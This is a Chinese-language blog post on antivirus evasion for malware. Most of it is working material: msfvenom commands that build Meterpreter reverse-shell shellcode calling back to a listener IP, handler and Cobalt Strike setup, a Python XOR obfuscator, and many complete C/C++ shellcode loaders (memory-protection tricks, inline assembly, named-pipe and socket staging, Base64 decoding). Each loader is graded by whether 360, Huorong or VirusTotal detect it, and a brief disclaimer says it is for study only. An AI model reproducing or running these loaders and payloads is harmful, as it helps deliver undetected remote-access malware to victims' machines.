

恶意程序研究之免杀基础
source link: https://www.ascotbe.com/2020/03/07/Basics/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

郑重声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
踩着大佬们的脚步,用自己蹩脚的C++
功底复现了师傅给出的一些免杀方案。后续将给出自己的两个免杀方案,复现大佬们的这几个方案用了3天时间,我真的是菜的可怜。
生成ShellCode的方法
使用
msfvenom
生成的ShellCode
使用参数说明
shell-l, --list <type> List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload <payload> 要使用的有效载荷
-f, --format <format> 输出格式,输出的语言类型
-e, --encoder <encoder> 要使用的编码器
-a, --arch <arch> 用于--payload和--encoders的体系结构
-o, --out <path> 保存到那个文件
-b, --bad-chars <list> 避免使用那些字符
-n, --nopsled <length> 提前给负荷(payload)设置一个长度为length的nopsled
-s, --space <length> 产生有效负荷的最大长度
-i, --iterations <count> 对负荷进行编码的次数
-c, --add-code <path> 指定一个详细win32 shellcode文件给include
-x, --template <path> 指定一个自定义可执行的文件作为一个模板(template)
-k, --keep 保留--template生成的模板行为并且把负荷作为一个新的线程注入
-v, --var-name <value> 指定一个自定义变量名作为确切的输出格式
-t, --timeout <second> 从STDIN读取有效负载时要等待的秒数(默认为30,禁用为0)生成
ShellCode
命令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.183.138 lport=4444 -f c
-f
能够生产如下格式的代码bash
c
csharp
dw
dword
hex
java
js_be
js_le
num
perl
pl
powershell
ps1
py
python
raw
rb
ruby
sh
vbapplication
vbscriptmsf
中监听use multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.138
set LPORT 4444
set EnableStageEncoding true
使用
Cobaltstrike
生成的ShellCode
客户端运行
javaw -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar
服务端运行
./teamserver you_ip you_passwd
使用
C++
编译器生成ShellCode
- 后面会出个shellcode生成器的文章
使用C++进行编译免杀
申请动态内存加载
申请内存的方式有很多种常见的几种方式如下
HeapAlloc
malloc
VirtualAlloc
new
LocalAllocPlanA
#include <Windows.h>
#include <stdio.h>
#include <string.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") //windows控制台程序不出黑窗口
unsigned char buf[] = "shellcode";
void main()
{
LPVOID Memory;
Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, buf, sizeof(buf));
((void(*)())Memory)();
}VT
免杀效果火绒报毒,360没反应
PlanB
#include <windows.h>
#include <stdio.h>
typedef void (_stdcall *CODE)();
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] ="shellcode";
void main()
{
PVOID p = NULL;
p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (p == NULL)
{
return;
}
memcpy(p, shellcode, sizeof(shellcode));
CODE code = (CODE)p;
code();
}TV上的免杀效果
360和火绒都能查杀到
A
和B
计划都是直接将代码执行,PlanC我们尝试先对shellcode
进行异或加密然后在代码中解密- 倾旋大佬的代码python
import sys
from argparse import ArgumentParser, FileType
def process_bin(num, src_fp, dst_fp, dst_raw):
shellcode = ''
shellcode_size = 0
shellcode_raw = b''
try:
while True:
code = src_fp.read(1)
if not code:
break
base10 = ord(code) ^ num
base10_str = chr(base10)
shellcode_raw += base10_str.encode()
code_hex = hex(base10)
code_hex = code_hex.replace('0x','')
if(len(code_hex) == 1):
code_hex = '0' + code_hex
shellcode += '\\x' + code_hex
shellcode_size += 1
src_fp.close()
dst_raw.write(shellcode_raw)
dst_raw.close()
dst_fp.write(shellcode)
dst_fp.close()
return shellcode_size
except Exception as e:
sys.stderr.writelines(str(e))
def main():
parser = ArgumentParser(prog='Shellcode X', description='[XOR The Cobaltstrike PAYLOAD.BINs] \t > Author: [email protected]')
parser.add_argument('-v','--version',nargs='?')
parser.add_argument('-s','--src',help=u'source bin file',type=FileType('rb'), required=True)
parser.add_argument('-d','--dst',help=u'destination shellcode file',type=FileType('w+'),required=True)
parser.add_argument('-n','--num',help=u'Confused number',type=int, default=90)
parser.add_argument('-r','--raw',help=u'output bin file', type=FileType('wb'), required=True)
args = parser.parse_args()
shellcode_size = process_bin(args.num, args.src, args.dst, args.raw)
sys.stdout.writelines("[+]Shellcode Size : {} \n".format(shellcode_size))
if __name__ == "__main__":
main() - 先用
msf
生成bin
文件,然后再用运行python .\xor.py -s .\payload.bin -d payload.c -n 10 -r 123.txt
生成好的
payload.c
文件 - 这边用倾旋大佬的思路:在申请内存页时,一定要把控好属性,可以在
Shellcode
读入时,申请一个普通的可读写的内存页,然后再通过VirtualProtect
改变它的属性 -> 可执行。#微软的文档
https://docs.microsoft.com/zh-cn/windows/win32/api/memoryapi/nf-memoryapi-virtualalloc - 具体代码
#include <Windows.h>
// 入口函数
int wmain(int argc,TCHAR * argv[]){
int shellcode_size = 0; // shellcode长度
DWORD dwThreadId; // 线程ID
HANDLE hThread; // 线程句柄
DWORD dwOldProtect; // 内存页属性
/* length: 800 bytes */
unsigned char buf[] = "shellcode";
// 获取shellcode大小
shellcode_size = sizeof(buf);
/* 增加异或代码 */
for(int i = 0;i<shellcode_size; i++){
buf[i] ^= 10;
}
/*
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
*/
char * shellcode = (char *)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE // 只申请可读可写
//原来的属性是PAGE_EXECUTE_READWRITE
);
// 将shellcode复制到可读可写的内存页中
CopyMemory(shellcode,buf,shellcode_size);
// 这里开始更改它的属性为可执行
VirtualProtect(shellcode,shellcode_size,PAGE_EXECUTE,&dwOldProtect);
// 等待几秒,兴许可以跳过某些沙盒呢?
Sleep(2000);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE); // 一直等待线程执行结束
return 0;
}TV免杀效果 360和火绒免杀效果,两个杀软都检测不出来
- 倾旋大佬的代码
嵌入式汇编执行
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="shellcode";
void main()
{
__asm
{
mov eax, offset shellcode
jmp eax
}
}
依旧360没报毒,火绒报毒
TV报毒依旧不理想
强制类型转换成函数指针
这种方法编译容易导致程序不能运行,需要用vs6.0进行编译,免杀效果也是目前最差的,编译测试的时候会导致程序崩溃
#include <windows.h>
#include <stdio.h>
#pragma comment(linker,"/subsystem:\"windows\" /entry:\"mainCRTStartup\"")
unsigned char shellcode[] ="shellcode";
void main()
{
((void(WINAPI*)(void))&shellcode)();
}
汇编花指令
这边的花指令可以直接加上一些像nop之类的没用的代码暂停什么的,还是可以提升绕过沙盒的几率
#include <windows.h>
#include <stdio.h>
#pragma comment(linker, "/section:.data,RWE")
unsigned char shellcode[] ="";
void main()
{
__asm
{
mov eax, offset shellcode
_emit 0xFF
_emit 0xE0
}
}
TV免杀效果和直接汇报效果差不多
杀软效果依旧是360不报毒,火绒报毒了
利用管道来执行
这两种方法的shellcode
需要使用xor
脚本进行异或后再能使用不然会报错,如果不想生成可以删除这段代码即可
for(DWORD i = 0;i< dwLen; i++){
Sleep(50);
_InterlockedXor8(pszShellcode+i,10);
}
单进程方式
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
char buf[] = "shellcode";
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
BOOL RecvShellcode(VOID){
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);
if(hPipeClient == INVALID_HANDLE_VALUE){
printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
return FALSE;
}
WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);
if(dwWritten == dwShellcodeSize){
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR * argv[]){
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE| PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);
if(hPipe == INVALID_HANDLE_VALUE){
dwError = GetLastError();
printf("[-]Create Pipe Error : %d \n",dwError);
return dwError;
}
CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)RecvShellcode,NULL,NULL,NULL);
if(ConnectNamedPipe(hPipe,NULL) > 0){
printf("[+]Client Connected...\n");
ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);
printf("[+]Get DATA Length : %d \n",dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode,szBuffer,dwLen);
for(DWORD i = 0;i< dwLen; i++){
Sleep(50);
_InterlockedXor8(pszShellcode+i,10);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE);
}
return 0;
}360和火绒都没报毒
多进程方式
PipServer进程
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
int wmain(int argc, TCHAR * argv[]){
HANDLE hPipe;
DWORD dwError;
CHAR szBuffer[BUFF_SIZE];
DWORD dwLen;
PCHAR pszShellcode = NULL;
DWORD dwOldProtect; // 内存页属性
HANDLE hThread;
DWORD dwThreadId;
// 参考:https://docs.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createnamedpipea
hPipe = CreateNamedPipe(
ptsPipeName,
PIPE_ACCESS_INBOUND,
PIPE_TYPE_BYTE| PIPE_WAIT,
PIPE_UNLIMITED_INSTANCES,
BUFF_SIZE,
BUFF_SIZE,
0,
NULL);
if(hPipe == INVALID_HANDLE_VALUE){
dwError = GetLastError();
printf("[-]Create Pipe Error : %d \n",dwError);
return dwError;
}
if(ConnectNamedPipe(hPipe,NULL) > 0){
printf("[+]Client Connected...\n");
ReadFile(hPipe,szBuffer,BUFF_SIZE,&dwLen,NULL);
printf("[+]Get DATA Length : %d \n",dwLen);
// 申请内存页
pszShellcode = (PCHAR)VirtualAlloc(NULL,dwLen,MEM_COMMIT,PAGE_READWRITE);
// 拷贝内存
CopyMemory(pszShellcode,szBuffer,dwLen);
for(DWORD i = 0;i< dwLen; i++){
Sleep(50);
_InterlockedXor8(pszShellcode+i,10);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE);
}
return 0;
}PipeClient进程
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#define BUFF_SIZE 1024
char buf[] = "shellcode";
PTCHAR ptsPipeName = TEXT("\\\\.\\pipe\\BadCodeTest");
BOOL RecvShellcode(VOID){
HANDLE hPipeClient;
DWORD dwWritten;
DWORD dwShellcodeSize = sizeof(buf);
// 等待管道可用
WaitNamedPipe(ptsPipeName,NMPWAIT_WAIT_FOREVER);
// 连接管道
hPipeClient = CreateFile(ptsPipeName,GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING ,FILE_ATTRIBUTE_NORMAL,NULL);
if(hPipeClient == INVALID_HANDLE_VALUE){
printf("[+]Can't Open Pipe , Error : %d \n",GetLastError());
return FALSE;
}
WriteFile(hPipeClient,buf,dwShellcodeSize,&dwWritten,NULL);
if(dwWritten == dwShellcodeSize){
CloseHandle(hPipeClient);
printf("[+]Send Success ! Shellcode : %d Bytes\n",dwShellcodeSize);
return TRUE;
}
CloseHandle(hPipeClient);
return FALSE;
}
int wmain(int argc, TCHAR * argv[]){
RecvShellcode();
return 0;
}VT免杀效果
360和火绒都免杀
网络套接字式
shellcode
需要使用xor
脚本进行异或后再能使用不然会报错,如果不想生成可以删除这段代码即可
for(DWORD i = 0;i< dwCodeLen; i++){
_InterlockedXor8(pszShellcode+i,10);
}
-
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#pragma comment(lib,"ws2_32.lib")
BOOL RunCode(CHAR * code,DWORD dwCodeLen)
{
HANDLE hThread;
DWORD dwOldProtect;
DWORD dwThreadId;
PCHAR pszShellcode = (PCHAR)VirtualAlloc(NULL,dwCodeLen,MEM_COMMIT,PAGE_READWRITE);
CopyMemory(pszShellcode,code,dwCodeLen);
for(DWORD i = 0;i< dwCodeLen; i++){
_InterlockedXor8(pszShellcode+i,10);
}
// 这里开始更改它的属性为可执行
VirtualProtect(pszShellcode,dwCodeLen,PAGE_EXECUTE,&dwOldProtect);
// 执行Shellcode
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)pszShellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread,INFINITE);
return TRUE;
}
int wmain(int argc, TCHAR argv[]){
CHAR buf[801];
DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SOCKET sClient;
struct sockaddr_in s_client;
INT nAddrLen = sizeof(s_client);
SHORT sListenPort = 8888;
struct sockaddr_in sin;
if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return dwError;
}
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return dwError;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = INADDR_ANY;
if(bind(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return dwError;
}
if (listen(socks, 5) == SOCKET_ERROR)
{
dwError = GetLastError();
printf("[*]Listen Error : %d \n",dwError);
return dwError;
}
sClient = accept(socks, (SOCKADDR *)&s_client, &nAddrLen);
int ret = recv(sClient,buf,sizeof(buf),0);
if (ret > 0)
{
printf("[+]Recv %d-Bytes \n",ret);
closesocket(sClient);
closesocket(socks);
}
WSACleanup();
RunCode(buf,sizeof(buf));
return 0;
} -
#include <WinSock2.h>
#include <Windows.h>
#include <stdio.h>
#include <intrin.h>
#pragma comment(lib,"ws2_32.lib")
char buf[] = "shellcode";
int wmain(int argc, TCHAR argv[]){
DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = 8888;
struct sockaddr_in sin;
if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
printf("[*]WSAStarup Error : %d \n",dwError);
return dwError;
}
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
printf("[*]Socket Error : %d \n",dwError);
return dwError;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr("192.168.170.1");
if(connect(socks,(struct sockaddr *)&sin,sizeof(sin)) == SOCKET_ERROR )
{
dwError = GetLastError();
printf("[*]Bind Error : %d \n",dwError);
return dwError;
}
int ret = send(socks,buf,sizeof(buf),0);
if (ret > 0)
{
printf("[+]Send %d-Bytes \n",ret);
closesocket(socks);
}
WSACleanup();
return 0;
} 360和火绒都无法检测出来
Base64加密法
Base64.h
#ifndef base64_h
#define base64_h
#include <stdio.h>
#if __cplusplus
extern "C" {
#endif
int base64_encode(const char *indata, int inlen, char *outdata, int *outlen);
int base64_decode(const char *indata, int inlen, char *outdata);
#if __cplusplus
}
#endif
#endif /* base64_h */Base64.cpp
/**
* 转解码过程
* 3 * 8 = 4 * 6; 3字节占24位, 4*6=24
* 先将要编码的转成对应的ASCII值
* 如编码: s 1 3
* 对应ASCII值为: 115 49 51
* 对应二进制为: 01110011 00110001 00110011
* 将其6个分组分4组: 011100 110011 000100 110011
* 而计算机是以8bit存储, 所以在每组的高位补两个0如下:
* 00011100 00110011 00000100 00110011对应:28 51 4 51
* 查找base64 转换表 对应 c z E z
*
* 解码
* c z E z
* 对应ASCII值为 99 122 69 122
* 对应表base64_suffix_map的值为 28 51 4 51
* 对应二进制值为 00011100 00110011 00000100 00110011
* 依次去除每组的前两位, 再拼接成3字节
* 即: 01110011 00110001 00110011
* 对应的就是s 1 3
*/
#include "base64.h"
#include <stdio.h>
#include <stdlib.h>
// base64 转换表, 共64个
static const char base64_alphabet[] = {
'A', 'B', 'C', 'D', 'E', 'F', 'G',
'H', 'I', 'J', 'K', 'L', 'M', 'N',
'O', 'P', 'Q', 'R', 'S', 'T',
'U', 'V', 'W', 'X', 'Y', 'Z',
'a', 'b', 'c', 'd', 'e', 'f', 'g',
'h', 'i', 'j', 'k', 'l', 'm', 'n',
'o', 'p', 'q', 'r', 's', 't',
'u', 'v', 'w', 'x', 'y', 'z',
'0', '1', '2', '3', '4', '5', '6', '7', '8', '9',
'+', '/' };
// 解码时使用
static const unsigned char base64_suffix_map[256] = {
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 253, 255,
255, 253, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 253, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 62, 255, 255, 255, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 255, 255,
255, 254, 255, 255, 255, 0, 1, 2, 3, 4, 5, 6,
7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18,
19, 20, 21, 22, 23, 24, 25, 255, 255, 255, 255, 255,
255, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36,
37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48,
49, 50, 51, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255,
255, 255, 255, 255 };
static char cmove_bits(unsigned char src, unsigned lnum, unsigned rnum) {
src <<= lnum; // src = src << lnum;
src >>= rnum; // src = src >> rnum;
return src;
}
int base64_encode(const char *indata, int inlen, char *outdata, int *outlen) {
int ret = 0; // return value
if (indata == NULL || inlen == 0) {
return ret = -1;
}
int in_len = 0; // 源字符串长度, 如果in_len不是3的倍数, 那么需要补成3的倍数
int pad_num = 0; // 需要补齐的字符个数, 这样只有2, 1, 0(0的话不需要拼接, )
if (inlen % 3 != 0) {
pad_num = 3 - inlen % 3;
}
in_len = inlen + pad_num; // 拼接后的长度, 实际编码需要的长度(3的倍数)
int out_len = in_len * 8 / 6; // 编码后的长度
char *p = outdata; // 定义指针指向传出data的首地址
//编码, 长度为调整后的长度, 3字节一组
for (int i = 0; i < in_len; i += 3) {
int value = *indata >> 2; // 将indata第一个字符向右移动2bit(丢弃2bit)
char c = base64_alphabet[value]; // 对应base64转换表的字符
*p = c; // 将对应字符(编码后字符)赋值给outdata第一字节
//处理最后一组(最后3字节)的数据
if (i == inlen + pad_num - 3 && pad_num != 0) {
if (pad_num == 1) {
*(p + 1) = base64_alphabet[(int)(cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4))];
*(p + 2) = base64_alphabet[(int)cmove_bits(*(indata + 1), 4, 2)];
*(p + 3) = '=';
}
else if (pad_num == 2) { // 编码后的数据要补两个 '='
*(p + 1) = base64_alphabet[(int)cmove_bits(*indata, 6, 2)];
*(p + 2) = '=';
*(p + 3) = '=';
}
}
else { // 处理正常的3字节的数据
*(p + 1) = base64_alphabet[cmove_bits(*indata, 6, 2) + cmove_bits(*(indata + 1), 0, 4)];
*(p + 2) = base64_alphabet[cmove_bits(*(indata + 1), 4, 2) + cmove_bits(*(indata + 2), 0, 6)];
*(p + 3) = base64_alphabet[*(indata + 2) & 0x3f];
}
p += 4;
indata += 3;
}
if (outlen != NULL) {
*outlen = out_len;
}
return ret;
}
int base64_decode(const char *indata, int inlen, char *outdata) {
int ret = 0;
if (indata == NULL || inlen <= 0 || outdata == NULL ) {
return ret = -1;
}
if (inlen % 4 != 0) { // 需要解码的数据不是4字节倍数
return ret = -2;
}
int t = 0, x = 0, y = 0, i = 0;
unsigned char c = 0;
int g = 3;
while (indata[x] != 0) {
// 需要解码的数据对应的ASCII值对应base64_suffix_map的值
c = base64_suffix_map[indata[x++]];
if (c == 255) return -1;// 对应的值不在转码表中
if (c == 253) continue;// 对应的值是换行或者回车
if (c == 254) { c = 0; g--; }// 对应的值是'='
t = (t << 6) | c; // 将其依次放入一个int型中占3字节
if (++y == 4) {
outdata[i++] = (unsigned char)((t >> 16) & 0xff);
if (g > 1) outdata[i++] = (unsigned char)((t >> 8) & 0xff);
if (g > 2) outdata[i++] = (unsigned char)(t & 0xff);
y = t = 0;
}
}
return ret;
}Shell.c
#include <stdio.h>
#include <string.h>
#include <Windows.h>
#include "Base64.h"
char buf[] ="shellcode";
int main(int argc, const char* argv[]) {
char str3[1000] = { 0 };
base64_decode(buf, (int)strlen(buf), str3);
LPVOID Memory;
Memory = VirtualAlloc(NULL, sizeof(str3), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, str3, sizeof(str3));
((void(*)())Memory)();
return 0;
}用
msf
进行base64
加密msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=192.168.183.138 lport=4444 -f c > shell.c
然后把代码放到里面buf里面
TV
查杀依旧还是360查杀不了火绒报毒了
使用C++进行编译加载器进行免杀
使用
shellcode_launcher
项目地址如下
https://github.com/clinicallyinane/shellcode_launcher/
生成
raw
的shellcode
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=127.0.0.1 lport=3333 -f raw -o shellcode.raw
在目标上运行
shellcode_launcher.exe -i shellcode.raw
火绒和360都不报毒
TV上免杀效果
使用
SSI
加载-
https://github.com/DimopoulosElias/SimpleShellcodeInjector
首先生成
shelcode
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.183.138 LPORT=4444 -f c -o msf.txt
然后执行如下命令
cat msf.txt|grep -v unsigned|sed "s/\"\\\x//g"|sed "s/\\\x//g"|sed "s/\"//g"|sed ':a;N;$!ba;s/\n//g'|sed "s/;//g"
接着编译项目,然后在目标机器上执行,都可以绕过360和火绒
TV免杀效果目前是最好的了
-
感谢师傅们无私的贡献
https://payloads.online/archivers/2019-11-10/2
https://uknowsec.cn/posts/notes/shellcode%E5%8A%A0%E8%BD%BD%E6%80%BB%E7%BB%93.html
https://mp.weixin.qq.com/s/LftwV4bpuikDklIjuRw2LQ
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK